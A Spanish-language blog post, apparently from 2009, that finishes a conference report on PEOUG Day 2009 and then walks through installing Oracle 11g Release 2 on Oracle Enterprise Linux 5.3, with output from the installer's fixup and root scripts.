Bromas aparte, y ya para terminar, me queda la impresión de que el PEOUG Day 2009 fue un rotundo éxito, salvo por la presentación de Oracle "Oracle LMS as Value Added Service", en la que se tocaron temas relacionados finalmente con el licenciamiento, un tema que a nosotros -los usuarios finales- no nos llama mucho la atención, de seguro que si alguien de la Sunat nos hablaba de las ventajas de estar al día con nuestros impuestos hubiese tenido el mismo mágico efecto . Ojo!, no digo que empecemos a evadir impuestos y usemos Oracle pirata, de hecho la Sunat me debe todo un sueldo en impuestos pagados en exceso y lo primero que verifico con mis clientes es que estén con un licenciamiento correcto, pero en esta ocasión no era el público, el lugar, ni el momento apropiado para tratar este tema, mi modesta opinión desde luego. Hasta aquí llega mi reporte desde el lugar de los hechos, hasta la próxima!

Siga leyendo >>

¿Te pareció interesante este artículo?, ¿te quedaron algunas dudas?, ¿quieres sugerirme un tema a tratar?, pues déjame tus comentarios o envíame un email y para que NO te pierdas ningún Post, suscríbete por email ahora mismo!

jueves, 3 de septiembre de 2009

Instalando Oracle 11g Release 2 en OEL 5.3

Finalmente logré descargar Oracle 11g Release 2 desde OTN, con lo que pude dar inicio a la instalación del software y la posterior creación de una base de datos. En este Post les mostraré lo que encontré en la parte correspondiente a la instalación del software, ojo que no pretendo reemplazar a la guía de instalación, cuya lectura es obligatoria.

Instalación paso a paso

Esta instalación la hice sobre OEL 5.3, si bien lo usual es configurarlo de tal forma que se cumpla estrictamente lo indicado como pre-requisitos, a fin de probar la efectividad de los installation fixup scripts, si bien instalé los RPMs exigidos, deliberadamente dejé de configurar los parámetros del kernel.

1. Luego de invocar a Oracle Universal Installer, se nos ofrece registrar nuestro email y password de My Oracle Support a fin de recibir eventuales notificaciones, pero afortunadamente no es un obligatorio completar estos datos.


2. Por defecto se nos sugiere instalar el software y crear la base de datos, pero en esta parte me interesa exclusivamente lo primero.


3. Hora de decidir si queremos o no usar Real Application Clusters; para no complicar las cosas mejor empezamos con una configuración que no lo use.


4. ¿Qué lenguaje usar? La verdad yo prefiero usar Inglés para todo el software que uso, esto va desde Windows Vista, Office 2007, y desde luego lo extiendo a OEL y Oracle.


5. Para evaluar todo el poderío de Oracle Server, lo mejor es instalar Enterprise Edition, sin duda alguna.


6. La ubicación del software no amerita mucho razonamiento, los valores por defecto son los correctos para esta prueba.


7. Idem para el Inventory Directory.


8. Los grupos asignados a OSDBA y OSOPER son los esperados.


9. Aquí empieza la novedad, OUI hace la verificación de los pre-requisitos, y como no configuré los parámetros del kernel, recibo la alerta de que es necesario resolverlo antes de continuar.


Lo interesante es que OUI está en capacidad de proporcionarme un script que me permita resolver todos aquellos errores que aparecen como fixable, es cuestión de presionar el botón Fix & Check Again.


Siguiendo las instrucciones procedo a ejecutar runfixup.sh desde una sesión en la que estoy conectado como root.

[root@talia ~]# /tmp/CVU_11.2.0.1.0_oracle/runfixup.sh
Response file being used is :/tmp/CVU_11.2.0.1.0_oracle/fixup.response
Enable file being used is :/tmp/CVU_11.2.0.1.0_oracle/fixup.enable
Log file location: /tmp/CVU_11.2.0.1.0_oracle/orarun.log
Setting Kernel Parameters...
kernel.sem = 250 32000 100 128
fs.file-max = 6815744
net.ipv4.ip_local_port_range = 9000 65500
net.core.rmem_default = 262144
net.core.wmem_default = 262144
net.core.rmem_max = 4194304
net.core.wmem_max = 1048576
fs.aio-max-nr = 1048576
uid=502(oracle) gid=501(oinstall) groups=501(oinstall),502(dba),506(asmdba)

De vuelta a OUI, se repite la verificación y los problemas de configuración del kernel han desaparecido! Quedan las advertencias sobre la memoria disponible y el espacio de swap asignado, pero no es realmente un problema para esta prueba por lo que opto por ignorarlos y proseguir con la instalación, desde luego Uds. no deben hacer eso con una instalación real.


10. Llegamos a la pantalla de resumen de la instalación.


11. Y la acción empieza!


En este equipo he instalado antes Oracle 9.2, 10.2 y 11.1, pero esta vez sentí que tomo más tiempo que en esas oportunidades.


12. El paso final es ejecutar algunos scripts, teniendo el cuidado de hacerlo con el usuario root.


[root@talia ~]# /u01/app/oraInventory/orainstRoot.sh
Changing permissions of /u01/app/oraInventory.
Adding read,write permissions for group.
Removing read,write,execute permissions for world.

Changing groupname of /u01/app/oraInventory to oinstall.
The execution of the script is complete.

[root@talia ~]# /u01/app/oracle/product/11.2.0/dbhome_1/root.sh
Running Oracle 11g root.sh script...

The following environment variables are set as:
    ORACLE_OWNER= oracle
    ORACLE_HOME=  /u01/app/oracle/product/11.2.0/dbhome_1

Enter the full pathname of the local bin directory: [/usr/local/bin]:
   Copying dbhome to /usr/local/bin ...
   Copying oraenv to /usr/local/bin ...
   Copying coraenv to /usr/local/bin ...


Creating /etc/oratab file...
Entries will be added to the /etc/oratab file as needed by
Database Configuration Assistant when a database is created
Finished running generic part of root.sh script.
Now product-specific root actions will be performed.
Finished product-specific root actions.

13. Luego de ejecutados los scripts, la instalación ha concluido.


Como habrán notado, la instalación del software es bastante similar a lo visto en versiones previas, lo que si resulta especial y bienvenido, es la posibilidad de dejar que OUI nos ayude a corregir nuestros errores u omisiones al configurar el kernel, en realidad la relación de cosas que puede corregir va un poco más allá, tal como pueden comprobar en la documentación.

En un siguiente Post les mostraré la creación de una base de datos con dbca, que tiene también algunas novedades, estén atentos!

Post Relacionados:

Siga leyendo >>

¿Te pareció interesante este artículo?, ¿te quedaron algunas dudas?, ¿quieres sugerirme un tema a tratar?, pues déjame tus comentarios o envíame un email y para que NO te pierdas ningún Post, suscríbete por email ahora mismo!